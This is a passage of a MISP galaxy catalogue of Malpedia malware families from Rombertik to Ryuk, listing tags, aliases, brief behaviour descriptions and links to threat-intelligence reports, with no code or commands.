https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/

Rombertik

The tag is: *misp-galaxy:malpedia="Rombertik"*

Rombertik is also known as:

- CarbonGrabber

Table 4989. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rombertik
http://blogs.cisco.com/security/talos/rombertik

ROMCOM RAT

Unit 42 observed threat actor Tropical Scorpius using this RAT in operations where also Cuba

ransomware was deployed.

The tag is: *misp-galaxy:malpedia="ROMCOM RAT"*

ROMCOM RAT is also known as:

- PEAPOD
- SingleCamper
- SnipBot

Table 4990. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.romcom_rat
https://www.trendmicro.com/en_us/research/23/e/void-rabisu-s-use-of-romcom-backdoor-shows-a-growing-shift-in-th.html
https://unit42.paloaltonetworks.com/snipbot-romcom-malware-variant/
https://cert.gov.ua/article/3349703
https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/
https://unit42.paloaltonetworks.com/cuba-ransomware-tropical-scorpius/
https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass
https://blogs.blackberry.com/en/2022/10/unattributed-romcom-threat-actor-spoofing-popular-apps-now-hits-ukrainian-militaries
https://blog.talosintelligence.com/uat-5647-romcom/
https://www.microsoft.com/en-us/security/blog/2023/07/11/storm-0978-attacks-reveal-financial-and-espionage-motives/
https://www.trendmicro.com/en_us/research/25/l/SHADOW-VOID-042.html
https://blogs.blackberry.com/en/2023/07/romcom-targets-ukraine-nato-membership-talks-at-nato-summit
https://labs.k7computing.com/index.php/romcom-rat-not-your-typical-love-story/

Romeo(Alfa,Bravo, ...)

The tag is: *misp-galaxy:malpedia="Romeo(Alfa,Bravo, ...)"*

Romeo(Alfa,Bravo, ...) is also known as:

Table 4991. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.romeos

RONINGLOADER

The tag is: *misp-galaxy:malpedia="RONINGLOADER"*

RONINGLOADER is also known as:

Table 4992. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.roningloader
https://www.elastic.co/security-labs/roningloader

Rook

According to PCrisk, Rook is ransomware (an updated variant of Babuk) that prevents victims from accessing/opening files by encrypting them. It also modifies filenames and creates a text file/ransom note ("HowToRestoreYourFiles.txt"). Rook renames files by appending the ".Rook" extension. For example, it renames "1.jpg" to "1.jpg.Rook", "2.jpg" to "2.jpg.Rook".

The tag is: *misp-galaxy:malpedia="Rook"*

Rook is also known as:

Table 4993. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rook
https://blog.cyble.com/2022/03/15/deep-dive-analysis-pandora-ransomware/
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://seguranca-informatica.pt/rook-ransomware-analysis/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit.md
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.sentinelone.com/labs/new-rook-ransomware-feeds-off-the-code-of-babuk/
https://chuongdong.com/reverse%20engineering/2022/01/06/RookRansomware/

Roopirs

The tag is: *misp-galaxy:malpedia="Roopirs"*

Roopirs is also known as:

Table 4994. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.roopirs

Roopy

The tag is: *misp-galaxy:malpedia="Roopy"*

Roopy is also known as:

Table 4995. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.roopy
https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/

Rorschach Ransomware

The tag is: *misp-galaxy:malpedia="Rorschach Ransomware"*

Rorschach Ransomware is also known as:

- BabLock

Table 4996. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rorschach
https://www.group-ib.com/blog/bablock-ransomware/
https://medium.com/@simone.kraus/rorschach-ransomware-analysis-with-attack-flow-7fa5ff613a75
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/23/d/an-analysis-of-the-bablock-ransomware-/iocs-an-analysis-of-the-babLock-ransomware.txt
https://www.trendmicro.com/en_us/research/23/d/an-analysis-of-the-bablock-ransomware.html
https://research.checkpoint.com/2023/rorschach-a-new-sophisticated-and-fast-ransomware/

Roseam

The tag is: *misp-galaxy:malpedia="Roseam"*

Roseam is also known as:

- PisLoader

Table 4997. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.roseam
https://brandefense.io/blog/apt-groups/dynamite-panda-apt-group/
http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/

Roshtyak

A DLL backdoor distributed by Raspberry Robin. According to Avast Decoded, Roshtyak belongs to one of the best-protected malware strains they have ever seen.

The tag is: *misp-galaxy:malpedia="Roshtyak"*

Roshtyak is also known as:

Table 4998. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.roshtyak
https://www.zscaler.com/blogs/security-research/unraveling-raspberry-robin-s-layers-analyzing-obfuscation-techniques-and
http://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
https://www.trendmicro.com/fr_fr/research/22/l/raspberry-robin-malware-targets-telecom-governments.html
https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/
https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
https://unit42.paloaltonetworks.com/unsigned-dlls/

RotorCrypt

Ransomware that was discovered over the last months of 2016 and likely based on Gomasom, another ransomware family.

The tag is: *misp-galaxy:malpedia="RotorCrypt"*

RotorCrypt is also known as:

- RotoCrypt
- Rotor

Table 4999. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.rotorcrypt
https://www.bleepingcomputer.com/forums/t/629699/rotorcrypt-rotocrypt-ransomware-support-topic-tar-c400-c300-granit/
https://id-ransomware.blogspot.com/2016/10/rotorcrypt-ransomware.html

Rover

The tag is: *misp-galaxy:malpedia="Rover"*

Rover is also known as:

Table 5000. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rover
https://securelist.com/apt-trends-report-q3-2020/99204/
http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/

Rovnix

Rovnix is a bootkit and consists of a driver loader (in the VBR) and the drivers (32bit, 64bit) themselves. It is part of the Carberp source code leak (https://github.com/nyx0/Rovnix). Rovnix has been used to protect Gozi ISFB, ReactorBot and Rerdom (at least).

The tag is: *misp-galaxy:malpedia="Rovnix"*

Rovnix is also known as:

- BkLoader
- Cidox
- Mayachok

Table 5001. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rovnix
http://www.malwaretech.com/2014/05/rovnix-new-evolution.html
https://securelist.com/oh-what-a-boot-iful-mornin/97365
https://www.welivesecurity.com/2012/07/13/rovnix-bootkit-framework-updated/
https://0xc0decafe.com/malware-analysts-guide-to-aplib-decompression/
https://news.drweb.ru/?i=1772&c=23&lng=ru&p=0
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=981

https://securelist.com/cybercriminals-switch-from-mbr-to-ntfs-2/29117/
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-RodionovMatrosov.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/
http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html
https://blogs.technet.microsoft.com/mmpc/2014/05/04/the-evolution-of-rovnix-new-virtual-file-system-vfs/

RoyalCli

RoyalCli is a backdoor which appears to be an evolution of BS2005 and uses familiar encryption and encoding routines. The name RoyalCli was chosen by us due to a debugging path left in the binary. RoyalCli and BS2005 both communicate with the attacker's command and control (C2) through Internet Explorer (IE) by using the COM interface IWebBrowser2.

The tag is: *misp-galaxy:malpedia="RoyalCli"*

RoyalCli is also known as:

Table 5002. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.royalcli
https://www.secureworks.com/research/threat-profiles/bronze-palace
https://github.com/nccgroup/Royal_APT
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

Royal DNS

RoyalDNS is a DNS based backdoor used by APT15 that persistences on a system through a service called 'Nwsapagent'.

The tag is: *misp-galaxy:malpedia="Royal DNS"*

Royal DNS is also known as:

Table 5003. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_dns
https://www.secureworks.com/research/threat-profiles/bronze-palace

https://github.com/nccgroup/Royal_APT
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

Royal Ransom (Windows)

Ransomware

The tag is: *misp-galaxy:malpedia="Royal Ransom (Windows)"*

Royal Ransom (Windows) is also known as:

Table 5004. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_ransom
https://www.fortinet.com/blog/threat-research/ransomware-roundup-royal-ransomware
https://www.microsoft.com/en-us/security/blog/2022/11/17/dev-0569-finds-new-ways-to-deliver-royal-ransomware-various-payloads/
https://yoroi.company/research/reconstructing-the-last-activities-of-royal-ransomware/
https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/
https://www.trellix.com/en-us/about/newsroom/stories/research/a-royal-analysis-of-royal-ransom.html
https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-007.pdf
https://securityscorecard.pathfactory.com/research/the-royal-ransomware
https://www.trendmicro.com/en_us/research/22/l/conti-team-one-splinter-group-resurfaces-as-royal-ransomware-wit.html
https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive
https://www.bleepingcomputer.com/news/security/law-enforcement-seizes-blacksuit-ransomware-leak-sites/
https://www.intrinsec.com/wp-content/uploads/2025/10/TLP-CLEAR-31072025-ShadowSyndicate-infrastructure-illumination-EN.pdf
https://unit42.paloaltonetworks.com/royal-ransomware/
https://securityintelligence.com/posts/trickbot-conti-crypters-where-are-they-now/
https://socradar.io/dark-web-profile-royal-ransomware/

https://www.prodaft.com/m/reports/RIG_TLP_CLEAR-1.pdf
https://www.logpoint.com/en/blog/exploring-the-exploit-of-royal-ransomware/
https://www.cyber.gov.au/about-us/advisories/2023-01-acsc-ransomware-profile-royal
https://www.bridewell.com/insights/news/detail/hunting-for-ursnif
https://www.bleepingcomputer.com/news/security/new-royal-ransomware-emerges-in-multi-million-dollar-attacks/
https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023
https://www.cyber.gov.au/acsc/view-all-content/advisories/2023-01-acsc-ransomware-profile-royal
https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-royal-ransomware
https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf
https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65
https://www.coalitioninc.com/blog/active-exploitation-firewalls
https://www.cybereason.com/blog/royal-ransomware-analysis
https://www.trendmicro.com/en_us/research/23/b/royal-ransomware-expands-attacks-by-targeting-linux-esxi-servers.html
https://redsense.com/publications/royal-blacksuit-how-ransomware-rebrand-reshaped-them/
https://arcticwolf.com/resources/blog/follow-on-extortion-campaign-targeting-victims-of-akira-and-royal-ransomware/

Rozena

The tag is: *misp-galaxy:malpedia="Rozena"*

Rozena is also known as:

Table 5005. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rozena
https://www.gdatasoftware.com/blog/2019/07/35061-server-side-polymorphism-powershell-backdoors
https://www.gdatasoftware.com/blog/2018/06/30862-fileless-malware-rozena
https://www.fortinet.com/blog/threat-research/follina-rozena-leveraging-discord-to-distribute-a-backdoor
https://www.socinvestigation.com/threat-actors-delivers-new-rozena-backdoor-with-follina-bug-detection-response/

RTM

RTM Banker also known as Redaman was first blogged about in February 2017 by ESET. The malware is written in Delphi and shows some similarities (like process list) with Buhtrap. It uses a slightly modified version of RC4 to encrypt its strings, network data, configuration and modules, according to ESET.

The tag is: *misp-galaxy:malpedia="RTM"*

RTM is also known as:

- Redaman

Table 5006. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm
http://www.peppermalware.com/2019/11/brief-analysis-of-redaman-banking.html
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://jonahacks.medium.com/malware-analysis-manual-unpacking-of-redaman-ec1782352cfb
https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/
https://www.youtube.com/watch?v=YXnNO3TipvM
https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/
https://securelist.com/financial-cyberthreats-in-2020/101638/

RTM Locker

The tag is: *misp-galaxy:malpedia="RTM Locker"*

RTM Locker is also known as:

- Read The Manual Locker

Table 5007. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm_locker
https://www.trellix.com/en-us/about/newsroom/stories/research/read-the-manual-locker-a-private-raas-provider.html
https://www.uptycs.com/blog/rtm-locker-ransomware-as-a-service-raas-linux
https://www.quorumcyber.com/threat-intelligence/rtm-locker-ransomware-targets-vmware-esxi-servers/

rtpos

The tag is: *misp-galaxy:malpedia="rtpos"*

rtpos is also known as:

Table 5008. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rtpos
https://usa.visa.com/dam/VCOM/global/support-legal/documents/new-pos-malware-samples.pdf
http://reversing.fun/posts/2022/01/30/rtpos.html

Rubeus

Rubeus is a C# toolset for raw Kerberos interaction and abuses.

The tag is: *misp-galaxy:malpedia="Rubeus"*

Rubeus is also known as:

Table 5009. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rubeus
https://github.com/GhostPack/Rubeus

Ruckguv

The tag is: *misp-galaxy:malpedia="Ruckguv"*

Ruckguv is also known as:

Table 5010. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ruckguv
https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear

Rugmi

The tag is: *misp-galaxy:malpedia="Rugmi"*

Rugmi is also known as:

- Penguish

Table 5011. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rugmi
https://thehackernews.com/2025/04/opsec-failure-exposes-coquetttes.html
https://thehackernews.com/2023/12/new-rugmi-malware-loader-surges-with.html

Rumish

The tag is: *misp-galaxy:malpedia="Rumish"*

Rumish is also known as:

Table 5012. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rumish

Running RAT

NJCCIC characterizes RunningRAT as a remote access trojan (RAT) that operates using two DLL files. When the trojan is loaded onto a system, it executes the first DLL. This is used to disable anti-malware solutions, unpack and execute the main RAT DLL, and gain persistence. The trojan installs a Windows batch file dx.bat that attempts to kill the daumcleaner.exe task, a Korean security program. The file then attempts to remove itself. Once the second DLL is loaded into memory, the first DLL overwrites the IP address for the control server to change the address the trojan communicates with. The second DLL gathers information about the victim's system, including its operating system and driver and processor information. The RAT can log user keystrokes, copy the clipboard, delete files, compress files, clear event logs, shut down the machine, and more. The second DLL also uses several anti-bugging techniques.

The tag is: *misp-galaxy:malpedia="Running RAT"*

Running RAT is also known as:

- running_rat

Table 5013. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.runningrat
https://hunt.io/blog/runningrat-from-remote-access-to-crypto-mining
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/

RURansom

RURansom shows characteristics of typical ransomware, but despite its name, TrendMicro's assumptions after analysis showed that this malware is more a wiper than ransomware, because the irreversible destruction of encrypted files.

The tag is: *misp-galaxy:malpedia="RURansom"*

RURansom is also known as:

Table 5014. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ruransom
https://blogs.vmware.com/security/2022/04/ruransom-a-retaliatory-wiper.html
https://www.trendmicro.com/en_us/research/22/c/new-ruransom-wiper-targets-russia.html
https://blog.cyble.com/2022/03/11/new-wiper-malware-attacking-russia-deep-dive-into-ruransom-malware/

Rurktar

The tag is: *misp-galaxy:malpedia="Rurktar"*

Rurktar is also known as:

- RCSU

Table 5015. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rurktar
https://www.gdatasoftware.com/blog/2017/07/29896-rurktar-spyware-under-construction

RustBucket (Windows)

The tag is: *misp-galaxy:malpedia="RustBucket (Windows)"*

RustBucket (Windows) is also known as:

Table 5016. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rustbucket
https://blog.sekoia.io/bluenoroffs-rustbucket-campaign/
https://sansorg.egnyte.com/dl/3P3HxFiNgL

Rustock

The tag is: *misp-galaxy:malpedia="Rustock"*

Rustock is also known as:

Table 5017. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rustock
https://www.usenix.org/legacy/event/hotbots07/tech/full_papers/chiang/chiang_html/index.html
http://blog.threatexpert.com/2008/05/rustockc-unpacking-nested-doll.html
https://krebsonsecurity.com/2011/03/microsoft-hunting-rustock-controllers/
https://www.secureworks.com/blog/research-21041
http://www.drweb.com/upload/6c5e138f917290cb99224a8f8226354f_1210062403_DDOCUMENTSArticales_PRDrWEB_RustockC_eng.pdf
https://darknetdiaries.com/episode/110/
https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf
http://contagiodump.blogspot.com/2011/10/rustock-samples-and-analysis-links.html
http://sunbeltsecurity.com/dl/Rootkit%20Installation%20and%20Obfuscation%20in%20Rustock.pdf
http://blog.novirusthanks.org/2008/11/i-wormnuwarw-rustocke-variant-analysis/

Rustonotto

Rustonotto, active since June 2025, is a Rust-compiled malware, representing the first known instance of APT37 leveraging Rust-based malware to target Windows systems.

The tag is: *misp-galaxy:malpedia="Rustonotto"*

Rustonotto is also known as:

- CHILLYCHINO

Table 5018. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rustonotto
https://www.zscaler.com/blogs/security-research/apt37-targets-windows-rust-backdoor-and-python-loader

RustyClaw

According to Proofpoint, RustyClaw is a downloader written in Rust

The tag is: *misp-galaxy:malpedia="RustyClaw"*

RustyClaw is also known as:

Table 5019. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rusty_claw
https://www.proofpoint.com/us/blog/threat-insight/10-things-i-hate-about-attribution-romcom-vs-transferloader
https://blog.talosintelligence.com/uat-5647-romcom/

Ryuk

Ryuk is a ransomware which encrypts its victim's files and asks for a ransom via bitcoin to release the original files. It is has been observed being used to attack companies or professional environments. Cybersecurity experts figured out that Ryuk and Hermes ransomware shares pieces of codes. Hermes is commodity ransomware that has been observed for sale on dark-net forums and used by multiple threat actors.

The tag is: *misp-galaxy:malpedia="Ryuk"*

Ryuk is also known as:

Table 5020. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk
https://areteir.com/wp-content/uploads/2020/08/Arete_Insight_Is-Conti-the-new-Ryuk_August2020.pdf
https://github.com/scythe-io/community-threats/tree/master/Ryuk
https://twitter.com/SecurityJoes/status/1402603695578157057
https://4rchib4ld.github.io/blog/NiceToMeetYouRyuk/
https://www.crowdstrike.com/blog/wizard-spider-adds-new-feature-to-ryuk-ransomware/
https://strapi.eurepoc.eu/uploads/Eu_Repo_C_APT_profile_Conti_Wizard_Spider_dc2a733e18.pdf
https://blogs.microsoft.com/on-the-issues/2020/10/12/trickbot-ransomware-cyberthreat-us-elections/
https://cofense.com/the-ryuk-threat-why-bazarbackdoor-matters-most/
https://www.youtube.com/watch?v=7xxRunBP5XA

https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/

https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker

https://storage.pardot.com/652283/16118467480sqebwq7/MSP_Security_Summit_*John_Hammond_Huntress*_Analyzing_Ryuk.pdf

https://sites.temple.edu/care/ci-rw-attacks/

https://blog.reversinglabs.com/blog/hunting-for-ransomware

https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/

https://community.riskiq.com/article/c88cf7e6

https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/

https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus

https://blog.virustotal.com/2020/10/tracing-fresh-ryuk-campaigns-itw.html

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox

https://www.heise.de/ct/artikel/Was-Emotet-anrichtet-und-welche-Lehren-die-Opfer-daraus-ziehen-4665958.html

https://www.bleepingcomputer.com/news/security/ryuk-ransomware-attacked-epiq-global-via-trickbot-infection/

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://www.bleepingcomputer.com/news/security/ryuk-ransomware-likely-behind-new-orleans-cyberattack/

https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/

https://www.scythe.io/library/threatthursday-ryuk

https://www.youtube.com/watch?v=LUxOcpIRxmg

https://medium.com/@shaddy43/from-infection-to-encryption-tracing-the-impact-of-ryuk-ransomware-64bd8656781c

https://www.eldiario.es/tecnologia/capos-cibercrimen-avisan-contratacaran-si-hackea-rusia_1_8795458.html

https://blog.talosintelligence.com/2020/06/CTIR-trends-q3-2020.html#more

https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/

https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/

https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html

https://decrypt.co/15394/how-ransomware-exploded-in-the-age-of-btc
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/
https://thedfirreport.com/2021/01/31/bazar-no-ryuk/
https://blog.cyberint.com/ryuk-crypto-ransomware
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-ryuk-ransomware-targeting-webservers.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/trickbot-botnet-ransomware-disruption
https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/
https://labs.sentinelone.com/an-inside-look-at-how-ryuk-evolved-its-encryption-and-evasion-techniques/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2019-ACT-005.pdf
https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider
https://www.reuters.com/article/usa-healthcare-cyber-idUSKBN27E0EP
https://edition.cnn.com/2020/10/28/politics/hospitals-targeted-ransomware-attacks/index.html
https://twitter.com/IntelAdvanced/status/1356114606780002308
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/
https://blog.emsisoft.com/en/35023/bug-in-latest-ryuk-decryptor-may-cause-data-loss/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-007.pdf
https://twitter.com/ffforward/status/1324281530026524672
https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.ccn-cert.cni.es/informes/informes-ccn-cert-publicos/4217-ccn-cert-id-26-19-ryuk-1/file.html
https://www.carbonblack.com/blog/vmware-carbon-black-tau-ryuk-ransomware-technical-analysis/
https://www.clearskysec.com/wp-content/uploads/2021/02/Conti-Ransomware.pdf
https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion
https://thehackernews.com/2022/05/malware-analysis-trickbot.html
https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/
https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/

https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/

https://www.bleepingcomputer.com/news/security/steelcase-furniture-giant-hit-by-ryuk-ransomware-attack/

https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors

https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf

https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf

https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/

https://blogs.quickheal.com/deep-dive-wakeup-lan-wol-implementation-ryuk/

https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf

https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware

https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf

https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html

https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html

https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html

https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/

https://www.fireeye.com/blog/threat-research/2020/03/the-cycle-of-adversary-pursuit.html

https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks

https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6

https://gist.github.com/aaronst/6aa7f61246f53a8dd4befea86e832456

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets

https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-NicolaoMartins.pdf

https://blog.malwarebytes.com/threat-spotlight/2019/12/threat-spotlight-the-curious-case-of-ryuk-ransomware/

https://www.hhs.gov/sites/default/files/bazarloader.pdf

https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://www.youtube.com/watch?v=HwfRxjV2wok

https://us-cert.cisa.gov/ncas/alerts/aa20-345a

https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/

https://www.advanced-intel.com/post/adversary-dossier-ryuk-ransomware-anatomy-of-an-attack-in-2021

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf

https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf

https://kc.mcafee.com/resources/sites/MCAFEE/content/live/CORP_KNOWLEDGEBASE/91000/KB91844/en_US/McAfee%20Labs%20Threat%20Advisory%20-%20Ransom-Ryukv6.pdf

https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html

https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/

https://blogs.microsoft.com/on-the-issues/2022/04/13/zloader-botnet-disrupted-malware-ukraine/

https://www.crowdstrike.com/blog/wizard-spider-adversary-update/

https://www.splunk.com/en_us/blog/security/ryuk-and-splunk-detections.html

https://community.riskiq.com/article/0bcefe76

https://unit42.paloaltonetworks.com/ryuk-ransomware/

https://www.youtube.com/watch?v=BhjQ6zsCVSc

https://twitter.com/Prosegur/status/1199732264386596864

https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware

https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/

https://thedfirreport.com/2020/10/08/ryuks-return/

https://www.advanced-intel.com/post/crime-laundering-primer-inside-ryuk-crime-crypto-ledger-risky-asian-crypto-traders

https://www.proofpoint.com/us/blog/threat-insight/q4-2020-threat-report-quarterly-analysis-cybersecurity-trends-tactics-and-themes

https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/

https://news.sophos.com/en-us/2021/05/06/mtr-in-real-time-pirates-pave-way-for-ryuk-ransomware/

